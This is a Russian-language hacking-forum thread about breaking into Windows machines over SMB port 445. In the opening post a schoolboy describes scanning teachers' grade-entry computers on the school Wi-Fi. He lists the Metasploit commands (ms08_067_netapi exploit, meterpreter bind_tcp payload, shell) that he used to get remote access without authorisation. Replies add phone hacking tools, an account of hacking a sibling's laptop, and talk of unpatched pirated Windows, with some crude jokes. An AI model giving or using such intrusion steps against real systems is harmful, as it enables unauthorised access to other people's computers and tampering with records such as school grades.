Взлом Windows по порту 445

[Gooseman]

Тема баян. Но не видел, что бы её форсили.
У некоторых операционных систем Windows есть отрытый порт 445 для факсов и т.п. Но мы будем использовать его в корыстных целях.
Сначала чекаем на наличие открытого порта. P.s. Так как я школьник, могу привести пример. У нас в школе довольно много личных учительских комьютеров, и на них ставятся оценки в электронный дневник. Подключаюсь к основному wifi, к которому подключены их компы (Про взлом wifi много статей уже есть, come on)
Сканирую компьютеры через прогу на телефоне Fing (ne reklama), если вижу в наличии открытый порт 445 то смело на следующий день иду с нетбуком в школу, и начинаю махинации. Будем мы получать доступ через exploit
Дальше команды, кому не интересно, листайте

В терминале мы пишем "msfconsole" "nmap -v 192.168..... (айпи жертвы) "search netapi"
и"exploit/windows/smb/ms08_067_netapi"
"show options"
"set RHOST (ip)"
"show payloads"
"set payload windows/meterpreter/bind_tcp" - Windows 7 (там под другие операционки есть)
"show options"
"exploid"

Всё! Мы получили доступ к пк (тестировалось на xp/7)
"shell" - cmd жертвы
Дальше сами, удачи!​

P.s. В их компах ничего интересного не было.

​

 

[Дима22]

Так же можно через Android взломать

 

[Gooseman]

Так же можно через Android взломать

Блин, а я носил нетбук. :/

 

[Дима22]

Блин, а я носил нетбук. :/

Fing Network Tools вот этот софт вроде бы) удобно компактно

 

[Andres3310]

Так же можно через Android взломать

Можно только через емулятор или есть терминал норм если что у меня андроид 4.2.2

 

[/.e7z]

Ошибка протокола SMB была исправлена во многих патчах от win xp, до win 10.
Так-же, 445 не протокол для факса.


Относительно поста, желание поделиться - похвальное.
Но скажем так, плохо. Ниже двойки.
Да и после WannaCry обсуждалось на форуме больше года и это дубль темы.

Особо не искал, первое что попалось: https://vlmi.top/threads/vzlom-pk-cherez-smartfon.14204/#post-127321

Советую удалить данную тему за ненадобностью и неинформативностью.

 

[/.e7z]

Можно только через емулятор или есть терминал норм если что у меня андроид 4.2.2

CSspoit. + Root.

 

[Andres3310]

Ошибка протокола SMB была исправлена во многих патчах от win xp, до win 10.
Так-же, 445 не протокол для факса.


Относительно поста, желание поделиться - похвальное.
Но скажем так, плохо. Ниже двойки.
Да и после WannaCry обсуждалось на форуме больше года и это дубль темы.

Особо не искал, первое что попалось: https://vlmi.top/threads/vzlom-pk-cherez-smartfon.14204/#post-127321

Советую удалить данную тему за ненадобностью и неинформативностью.

Извеняюсь конечно но в пиратских версиях виндовс 7 не пофиксили я проверял взламал ноут брата

 

[/.e7z]

Извеняюсь конечно но в пиратских версиях виндовс 7 не пофиксили я проверял взламал ноут брата

Win 7 (64/86) , Win 8.1 (64/86) без использования последнего обновления уязвимы.
Так-же на гитхабе от 12.2017 есть апдейт под 10.0 с обходом NAT и настроек фаервола "Публичная сеть".

 

[Sleight]

Ошибка протокола SMB была исправлена во многих патчах от win xp, до win 10.
Так-же, 445 не протокол для факса.


Относительно поста, желание поделиться - похвальное.
Но скажем так, плохо. Ниже двойки.
Да и после WannaCry обсуждалось на форуме больше года и это дубль темы.

Особо не искал, первое что попалось: https://vlmi.top/threads/vzlom-pk-cherez-smartfon.14204/#post-127321

Советую удалить данную тему за ненадобностью и неинформативностью.

Некоторые отключают обновление винды.
ХЗ, конечно, но может в той же школе компы учителей без доступа к инету.

 

[Gooseman]

Некоторые отключают обновление винды.
ХЗ, конечно, но может в той же школе компы учителей без доступа к инету.

Большинство пользователей Windows не обновляют систему Windows т.к. очень много ненужных обновлений загружается на их компьютер. Этой тема может быть ещё актуальна, но не так, как пару лет назад. Сейчас многие скачивают пиратские системы Windows с старыми обновлениями. Так что эта тема ещё актуальна. Но это не 100% способ.

 

[Sleight]

Немного рофла про обновление винды.

Спойлер: Обновление Win10

Отключение функции автоматического обновления в Windows 10 является прямым нарушением российского законодательства.

Компания Microsoft предупредила пользователей Windows 10 в России о том, что отключение автоматических обновлений ОС предоставляет ей право подавать на пользователей в суд за нарушение законодательства. Об этом говорится на официальном сайте техподдержки компании.

Позиция Microsoft стала известна после того, как пользователь под псевдонимом kochurovaleksandr обратился в техподдержку с целью узнать, как можно отключить службу автообновления Windows 10 на ноутбуке. Как он пояснил, на устройстве используется жесткий диск емкостью 32 ГБ, большая часть из которых уже занята файлами операционной системы, и на нем просто нет места для обновлений. В ответ один из официальных модераторов сообщества пояснил, что отключать автообновление категорически нельзя, поскольку из-за этого Microsoft может подать на пользователя (легального пользователя) в суд. По его словам, отключение функции автоматического обновления в операционной системе Windows 10 является прямым нарушением ст. 1229 и 1235 Гражданского кодекса РФ и ст. 146 «Нарушение авторских и смежных прав» Уголовного кодекса РФ. Принудительный отказ квалифицируется российским законодательством как незаконное использование программного обеспечения и может повлечь за собой не только административную, но и уголовную ответственность.

Второй модератор техподдержки Geks52 подтвердил слова коллеги, добавив, что перед установкой операционной системы пользователь принимает условия лицензионного соглашения.

«Принимая условия настоящего соглашения, вы даете согласие на получение автоматических обновлений такого типа без каких-либо дополнительных уведомлений», - отметил он. Единственный способ отказаться от получения обновлений – прекратить использовать Windows 10, добавил Geks52.

Вскоре после публикации ответы модераторов были удалены с сайта техподдержки.

 

[Miron_T31]

Мне лично кажется , что таким способом взломать ПК в школе можно.Ведь в школе много компьютеров. Скорей всего там стоит Windows 7 или даже хуже. Ведь чтоб установить на все ПК в школе лицензионную винду,стоит больших денег.А пиратская винда запрещенна.И как мы знаем в школу часто приходят всякие там проверки.И как вы думаете, что выберет директор:
Оставить старую винду которая и так хорошо справляется со своими задачами?
Или установить пиратку , но потом директора пасадят на елдак?
Или установить на все ПК в школе лицензионную винду которая уйдет в хорошую сумму для дирекора?

 

[Joker13]

Ясен пень ,какой директор захочет пухлой жопой на елдак...

 

[Sergbat1]

Ясен пень ,какой директор захочет пухлой жопой на елдак...

А если лицей или єлитная школа то там думаю могут себе позволить себе лицухи?

 

[Andres3310]

А если лицей или єлитная школа то там думаю могут себе позволить себе лицухи?

мне так кажется что им это не интересно они просто поставили винду и всё и возможно даже не качают активаторы так-что будет лицуха виндовса только в элитных школах институтах или лицеях и то не факт активированная там винда будет только в 1 случае если там часто бывают проверки и то не факт ))